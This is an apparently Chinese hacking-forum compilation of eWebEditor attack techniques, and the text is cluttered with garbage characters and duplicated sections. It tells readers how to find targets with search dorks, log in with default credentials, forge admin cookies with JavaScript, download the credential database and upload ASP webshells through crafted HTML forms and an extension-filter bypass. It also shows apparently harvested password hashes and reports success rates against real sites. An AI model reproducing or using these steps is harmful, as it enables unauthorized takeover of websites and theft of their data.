eWebEditor.asp?id=45&style=standard1 样式调用
0 ^( O! ~! o* E" ^ F' H' X& M9 X/ [
- r; v- I! t$ `$ K+ m2 B
( x' N5 |, m0 D! M# [/edit/admin_uploadfile.asp?id=14&dir=../../.., q6 k5 y0 G# E' f& w
可以浏览网站目录 ../自己加或者减6 a5 I$ V1 H; C7 J1 y
% E7 f) C: L7 B8 O有次无意的入侵使我发现了ewebeditor2.7.0版本的存在注入漏洞
5 }2 W R/ C: c简单利用就是: q. h1 b7 X5 L% K4 x
http://site/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
+ n" Y: f( h; N7 yhttp://www.siqinci.com/ewebedito ... amp;style=full_v200
$ r9 A5 x6 r9 V可以利用nbsi进行猜解,对此进行注入
' n+ s9 A4 Y' `还有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的
7 Z/ x0 j0 x$ L- z: F' g, a! I这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下:$ J8 {0 C: n! K1 ], L* O
在action下面9 h6 }9 u# a) O' U
<form action="http://*********/edit/upload.asp?action=save&type=ASA&style=test" method=post name=myform enctype="multipart/form-data">! S" `$ |& f8 l
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
5 f9 Z) M- N# _4 F8 y<input type="submit" name="uploadfile" value="提交">1 d/ W& f8 _! E
<input type=hidden name=originalfile value="">
2 j# O( j& ?1 j5 D0 o</form>
, U8 {/ c% v# ?5 b------------------------------------------------------------------------------------------------------------------------------------------------
- ^0 o" {5 m1 o- H<input type="submit" name="uploadfile" value="提交"> 放在action后头
0 |( S# `! J& [/ _' v,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。; A& `, U+ V$ t: i9 _
1 K: g' @' ~( I$ T5 e! u' r9 k+ s' z2 F: \# |9 K8 _
7 @9 n9 a& X' C$ @& a0 M
- _' ?; ]4 [: Y* u+ M/ ^7 B0 fEwebeditor最新漏洞及漏洞大全[收集] (图)
- f; C8 n" q# e本帖最后由 administrator 于 2009-7-7 21:24 编辑
2 j# ]. s* T2 [. ~% Y: U: v9 U! ]' `7 t5 {6 B$ V" a2 D# H
以下文章收集转载于网络
( K3 ?& y( u Z6 c! V# o, D#主题描述# ewebeditor 3.8漏洞[php]
% f2 g& B3 v6 |7 x( y--------------------------------------------------------------------------------------------* t `: t# D7 j+ u" n7 H4 f
#内容#
# k6 s: T% Q$ K( K; wphp版ewebeditor 3.8的漏洞
+ Q8 v) L* T; z% Y2 Nphp版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:: c' n3 ?& P: N) K/ j) c G5 e
1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入 javascript:alert(document.cookie=”adminuser=”+escape(”admin”)); javascript:alert(document.cookie=”adminpass=”+escape(”admin”)); javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,
5 w5 ~8 |) J, f1 _; ?# y/ |; i2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了- B' Q/ A" j6 y u" M
3 后面的利用和asp一样,新增样式修改上传,就ok了7 F+ z8 F1 m4 T$ `
测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的). t4 v9 Y# ^2 f5 h7 p
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
' F2 n+ _3 g( j' D2 {4 _8 a3 wjsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了
( U; }4 r, w2 T: d3 h/ Z9 k4 Q K--------------------------------------------------------------------------------------------2 g& R$ ^, o# A. i2 S) `' z
1 Y6 o- X, {# w5 v# i1 `. ]! H9 ^& q# u& [; }
算是比较全面的ewebeditor编辑器的漏洞收集,现在的网站大多数用的都是ewebeditor编辑器,所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。
9 l1 r2 P# T3 E+ x' ~/ ]" d, k7 K6 K5 f# N3 x% S/ D
漏洞更新日期TM: 2009 2 9日 转自zake’S Blog+ C1 O. Q" K) v' ]2 j
ewebeditor最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK了 i. P2 |% H3 }& N m' _' P
那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。/pic/3/a2009-6-4-7341a1.gif.asp搭建好了 ,在官方的地方执行网络地址
H# N( B1 k" U8 x" ` O- W/ H- E t
$ J# U4 M! c1 J
- W6 ?- j1 M+ A% V" h" L1 o然后确定以后,这里是最关键的一部!/ R, e$ Y w1 Y
这里点了远程上传以后,再提交得到木马地址
% H, y% n. B5 `由于官方在图片目录做了限制 导致不能执行ASP脚本而没能拿到WEB权限
4 q2 g: F N4 r! _属于安全检测漏洞版本ewebeditor v6.0.0
, g$ E9 o& \- H1 |+ F% r0 E& v% A+ L+ j$ X/ A. m$ R
以前的ewebeditor漏洞:
# M8 v7 a% q. \/ ]# b5 Z2 a' r# y" R' @/ l2 M
ewebeditor注入漏洞) N! g! x5 D3 ?4 S5 c8 E
2 n& h8 ^$ X- v大家都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb6 W; w0 ~/ X; B' z4 X
默认后台地址是admin_login.asp,另外存在遍历目录漏洞,如果是asp后缀的数据库还可以写入一句话8 J7 o) w- g! E+ f- Z: K0 K$ S6 h T
今天我给大家带来的也是ewebeditor编辑器的入侵方法
4 C. o$ v5 S& x不过一种是注入,一种是利用upload.asp文件,本地构造
, a. i8 d: e7 G( O; B- aNO1:注入, x+ c5 S" V* o H5 |
http://www.XXX.com/ewebeditor200 ... amp;style=full_v200
7 y, ]2 L5 s- B e/ u" a编辑器ewebedior7以前版本通通存在注入
9 y8 w+ L7 n0 w9 x! L直接检测不行的,要写入特征字符
( f3 H5 x( B( ^# M6 ~9 E2 {我们的工具是不知道ewebeditor的表名的还有列名
3 U. M" }% g8 |4 C5 P5 S/ g* L0 s我们自己去看看0 t5 w- O! `1 _
哎。。先表吧8 S. {8 G9 N5 U1 W" j$ i
要先添加进库
3 r4 q( I7 E' h+ v0 [5 q开始猜账号密码了# p P( `4 p2 r8 S
我们==0 r. }- a9 G& Q! i6 t4 S% S2 _
心急的往后拉
, m( m m; V3 ~2 B; m9 G! w出来了) m% V/ F8 t5 e% _% K
[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 8511207 C: V1 Y6 p* x% l" t/ ?. v+ W
对吧^_^5 G; j9 ~" V- F: n8 u+ {9 r0 J
后面不说了8 p; A( G; B# a+ n Z+ c
NO2:利用upload.asp文件,本地构造上传shell1 ], N, i6 N9 L3 C. N' K! M+ Y
大家看这里
: z( _1 U6 M. |2 y( Q2 [http://www.siqinci.com/ewebedito ... lepreview&id=37
+ K7 I1 {- |) O, N" \如果遇见这样的情况又无法添加工具栏是不是很郁闷& \' X+ Y+ n6 \! }! Y
现在不郁闷了,^_^源源不一般
& |. [% B& d. W2 f我们记录下他的样式名“aaa”
, _! o+ \& `1 f1 {9 o, g我已经吧upload.asp文件拿出来了
/ T" m& A! ^# X; k8 m我们构造下
2 R$ A5 ]4 R- O" P* G: d* K' ]OK,我之前已经构造好了4 V7 ~, b R1 n/ `1 ]: N' g
其实就是这里
: Z) Q! X& j2 X; M; e0 m1 u- e<form action=”地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myform enctype=”multipart/form-data”>
9 V3 p+ Z& u; ^. Z<input type=file name=uploadfile size=1 style=”width:100%”>
4 R$ Q( H* i! R/ r1 S<input type=submit value=”上传了”></input>& c- p! I' u q- \
</form>
( w H, v0 O& _1 J5 ^下面我们运行他上传个大马算了7 [ l5 |8 Q) u+ Q+ T* ]$ j
UploadFile上传进去的在这个目录下8 R1 M# c6 X! Y% g1 Z9 C
2008102018020762.asa4 G! c: r6 [& g
% A- {$ R5 q- H& Q6 v; N
过往漏洞:4 l, {3 C% a9 R: j! ?7 D" Z1 b" w8 A) Y
* {# Y6 P( q Y+ ]: Q" H2 {9 R8 k; Y
首先介绍编辑器的一些默认特征:2 G! ?! H7 Q2 Y/ h7 c* r- d7 n
默认登陆admin_login.asp
; C/ e. M7 w1 ]" D2 T# \& N$ I" p默认数据库db/ewebeditor.mdb
9 u: i f7 v& A" y$ {9 _默认帐号admin 密码admin或admin888* p* O, N, j/ h1 |' x
搜索关键字:”inurl:ewebeditor” 关键字十分重要+ i9 L; l) T: Z2 h2 L3 S9 y3 W
有人搜索”eWebEditor - eWebSoft在线编辑器”
8 v) `$ i8 i- k l根本搜索不到几个~, }: `. x# c q# @& S' q$ S6 b
baidu.google搜索inurl:ewebeditor! u8 w8 F: C3 v& Y
几万的站起码有几千个是具有默认特征的~
) N6 w1 |' E! s. w8 a1 j7 t8 y那么试一下默认后台( C3 W i' Q' K
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp
4 h; S) @- I b试默认帐号密码登陆。9 J/ c4 e- U; l, s; X" X5 n
利用eWebEditor获得WebShell的步骤大致如下:' @7 S" v Y9 \2 \# R1 B
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。
^9 A: ], o2 L% x& ` o2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’ frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了 eWebEditor。然后记下src=’***’中的“***”,这就是eWebEditor路径。
8 A# ^; s0 i/ p# Q3 G* t6 u7 _3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。
7 q- ]( i$ O# z( n# l+ G5 l如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!1 S/ _3 k6 ?0 f. U# C
4.增加上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。; S; u8 a' h5 O
然后在上传的文件类型中增加“asa”类型。& E' C7 M7 J3 x* ?
5.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,然后选择“插入其它文件”的按钮就可以了。, ]2 N: W9 ]4 c
漏洞原理, g9 V6 l; S4 x+ p
漏洞的利用原理很简单,请看Upload.asp文件:0 ?: `# ?8 y9 c- Q; W. n
任何情况下都不允许上传asp脚本文件9 }( V( \3 s) B* x
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
7 B( y# V) |8 d( ]因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!
5 z, R; f# \1 w高级应用
8 i; h5 n9 y5 r- P6 D$ z3 H8 z( aeWebEditor的漏洞利用还有一些技巧:
. j7 ^& [# S8 d1.使用默认用户名和密码无法登录。
8 x( k# W. l. Q# P# I# n# j4 k请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法破解,那就当自己的运气不好了。
( p* C9 s2 ^: `1 P; J2.加了asa类型后发现还是无法上传。# W2 Y9 |! }+ Z& u, i
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:# t. W' `; ^7 ~3 {
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
( h) e# {( o7 @猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了 “asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。7 Q7 l! K6 L$ O; f
3.上传了asp文件后,却发现该目录没有运行脚本的权限。
- S' k- a- M3 h9 C E" p, x0 @: F呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。 B5 d! A& S- v* E6 x% ?9 b
4.已经使用了第2点中的方法,但是asp类型还是无法上传。+ O2 Q4 H& L2 n! ]* j' l
看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的 “asp”删除。
1 S+ a2 W6 @) Q4 J后记5 r9 C% q& [5 {/ {0 J( l, U9 A
根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索 “ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!2 f8 q7 P: }; Q8 B' t5 `5 ]
基本入侵基础漏洞$ l, A( w. u6 y* b
eWebEditor 漏洞% }) R c7 G; T" I$ {7 q
% z2 i/ Z9 `' t' c" f
各位站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这才想起应该写一篇文章和大家共享一下,同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然,下一个被黑的就是你哦! 4 f) G- x* \; ?, e9 k- L3 h
7 ^- w9 H0 f3 S3 w O9 u4 k漏洞利用2 J6 {4 P, a$ B. L u% d
利用eWebEditor获得WebShell的步骤大致如下:
% l$ y" @$ m2 `, R1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。. `, D' A, U6 g& k# i5 V
2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID='eWebEditor1' src='/edit/ewebeditor.asp?id=content&style=web' frameborder=0 scrolling=no width='550' HEIGHT='350'></iframe>”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了 eWebEditor。然后记下src='***'中的“***”,这就是eWebEditor路径。) }! {: q( W2 b6 {) q
3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。2 }5 _& V c6 G. `+ X
如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!
3 |% B+ }2 O) ~4.增加上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。! c% s/ [, Z; S9 H
0 B \6 F9 D* t( E
然后在上传的文件类型中增加“asa”类型。
' a& ^0 m9 P+ s6 z+ R5 |
- f) B/ g) U% K F* m5 W( \5.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,然后选择“插入其它文件”的按钮就可以了。! |' {( e: `+ N& d1 h
0 `$ w' V5 W# O# T) s0 o$ C
$ l& m2 y! ~9 f+ E& O5 w, @, o; [: D漏洞原理1 R" j/ S7 S' t5 F, S. c8 c: B) e
漏洞的利用原理很简单,请看Upload.asp文件:
V0 q6 W: S# [0 s9 D, u4 T& m& }任何情况下都不允许上传asp脚本文件
8 y; w2 k9 {+ F. g1 W! F7 QsAllowExt = replace(UCase(sAllowExt), "ASP", ""); Y/ o: n" O7 k: _2 ]1 v: V: ^
因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!! ~: w) h2 l3 N: N( a" B$ E
8 d h+ e$ W+ |
高级应用
- \, {+ d' t1 w$ Y2 W1 A, X; HeWebEditor的漏洞利用还有一些技巧:3 v6 Y5 d+ y/ G# z3 \
1.使用默认用户名和密码无法登录。
( `1 h% a: K5 w" q7 u4 O请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法****,那就当自己的运气不好了。
8 ~/ y4 y) A* v- }9 N8 r p2.加了asa类型后发现还是无法上传。# U2 v! ~$ q7 T
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = replace(UCase(sAllowExt), "ASP", "")一句上修改,我就看见过一个站长是这样修改的:
, Q, o& L1 N% Q: d6 C% f rsAllowExt = replace(replace(replace(replace(replace(UCase(sAllowExt), "ASP", ""), "CER", ""), "ASA", ""), "CDX", ""), "HTR", "")
% G5 t* ?# P, ^! M3 R猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了 “asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。
. o" _3 a# x9 N- [8 L9 N: G% _3.上传了asp文件后,却发现该目录没有运行脚本的权限。, o; J X+ j: g$ R0 N& O! m; W9 G
呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。% ~" S* W3 H: a) ]6 t- f9 ^
4.已经使用了第2点中的方法,但是asp类型还是无法上传。
! Y* E6 _/ K/ |! d9 t2 B# S9 o, d看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的 “asp”删除。4 [4 z) i$ x' a3 P
# `9 B8 L9 Y9 |/ A% _后记5 D2 E0 P1 ?7 H2 O4 y# {
根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索 “ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上! |